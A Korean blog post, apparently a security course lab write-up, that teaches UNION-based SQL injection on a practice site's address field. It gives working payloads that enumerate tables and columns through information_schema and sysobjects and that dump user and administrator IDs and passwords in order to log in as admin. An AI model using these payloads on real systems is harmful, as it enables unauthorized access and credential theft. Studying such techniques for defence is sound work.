Union SQL Injection 실습

2022. 7. 14. 00:55·보안/웹·모바일

Union SQL Injection

이번 실습은 회원가입 > 주소 입력창에서 이루어진다.

주소입력

 

Union

- A 테이블에서 필요한 데이터와 B 테이블에서 필요한 데이터를 합친다.

- 여기서 데이터는 칼럼으로 합치는 듯함.

- 단, 합치려는 두 SELECT 문의 칼럼의 수는 같아야 한다.

 

[예시]

table = login, class

SELECT id,pw FROM login union SELECT eng, kor FROM class; (o)

SELECT id,pw ,email FROM login union SELECT eng, kor FROM class; (x)

 

 

주소 찾기 페이지에서는 칼럼 수 5개까지 입력 가능하다.

5개
6개는 오류

즉, 사용되는 칼럼은 5개라는 의미. 추측이 가능하다.

띄어쓰기 기준으로 5개

우편번호 / 도 / 시 / 동 / 건물

 


 

[문제:: 모든 테이블 이름 뽑아내기]

(쿼리) ' union select 1,2,3,4,table_name from information_schema.tables --

결과

information_schema: 서버 내 모든 DB에 대한 정보들이 담긴 곳 (테이블, 칼럼, 인덱스 등)

information_schema.table: 모든 테이블

table_name: 모든 테이블 이름 칼럼

이 외에도 tables 내 여러 칼럼들이 있으니 잘 기억해두자.

 

 

[문제:: 모든 테이블 이름 뽑아내기 다른 방법]

`SYSOBJECTS

ex) ' union select 1,2,3,4 name from sysobjects --

 

[문제:: 모든 컬럼 이름들 뽑아내기 다른방법]

`SYSCOLUMNS

ex) ' union select 1,2,3,4 name from syscolumns --

 

 

' union select 1,2,3,4 원하는 컬럼 from 원하는 테이블 --

 

 

[혼자하기:: 위에서 알아낸 Table 내 모든 칼럼명 알아내기 ver.original]

information_schema의 columns 테이블 (모든 칼럼)의 칼럼 확인. table_name 존재 확인

' union select 1,2,3,4, column_name from information_schema.columns where table_name='abracadabra' --

이를 통해 abracadabra 테이블의 칼럼은 forever와 kisec이 있다는 것을 알 수 있겠다.

 

 

 

[실습:: id와 password 모두 출력]

1. 모든 테이블 이름 뽑아내기

' union select 1,2,3,4,table_name from information_schema.tables --

그리고 추측한다.  id와 pw는 여기있겠지

 

2. members 테이블의 칼럼 확인하기

'union select 1,2,3,4,column_name from information_schema.columns where table_name='members' --

user_id와 passwd로 추정

 

3. members 테이블에서 id와 pw 모두 출력하기

' union select 1,2,3,user_id,passwd from members --

 

 

 

 

[실습:: 관리자 페이지 로그인하기]

1. 관리자 id와 pw가 존재하는 테이블 찾기

' union select 1,2,3,4,table_name from information_schema.tables --

admin_tb로 유추됨. 한번 찾아나보자.

 

2. admin_tb 테이블의 컬럼명 

' union select 1,2,3,4,column_name from information_schema.columns where table_name='admin_tb' --

 

3. 해당 컬럼명으로 admin_tb에서 값 보이기

' union select 1,2,3, adminid, adminpwd from admin_tb --

 

4. 이제 로그인해라.

저작자표시 (새창열림)

'보안 > 웹·모바일' 카테고리의 다른 글

특수문자 필터링, 정규표현식 for JavaScript  (0) 2022.07.15
Load of SQLInjection 문제풀이  (0) 2022.07.15
Error-based SQL Injection 실습  (0) 2022.07.12
Non-Relational DBMS이란  (0) 2022.07.08
Blind SQL Injection  (0) 2022.07.08
'보안/웹·모바일' 카테고리의 다른 글
  • 특수문자 필터링, 정규표현식 for JavaScript
  • Load of SQLInjection 문제풀이
  • Error-based SQL Injection 실습
  • Non-Relational DBMS이란
병뚜
병뚜
열정!
  • 병뚜
    열려라 뚜껑
    병뚜
  • 전체
    오늘
    어제
    • all (372)
      • 일상X사랑X돈 (0)
        • 보안이슈 (114)
        • 뜨거운감자 (9)
        • 맛집 (2)
        • 혼잣말 (16)
      • 보안 (87)
        • 웹·모바일 (46)
        • 인프라 (19)
        • 리버싱 (8)
        • Security-Gym (10)
        • 리뷰 (4)
      • 프로그래밍 (66)
        • python (14)
        • java (12)
        • js (40)
      • System (47)
        • OS (14)
        • 침투 (33)
      • Play (20)
        • wargame (20)
      • 기타 (10)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    정보보안
    보안이슈
    드림핵리버싱
    공급망공격
    it이슈
    랜섬웨어
    혼공학습단
    정보보안교육
    jwt
    파이썬초보
    혼공파
    파이썬
    파이썬입문
    악성코드
    보안뉴스
    혼공단
    리버싱
    혼공
    혼자공부하는파이썬
    kisa
    windows internals
    뉴스요약
    커널디버깅
    자바스크립트 상속
    리버싱초보
    프로세스
    파이썬공부
    윈도우인터널스
    정보보호
    IT뉴스
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
병뚜
Union SQL Injection 실습
상단으로

티스토리툴바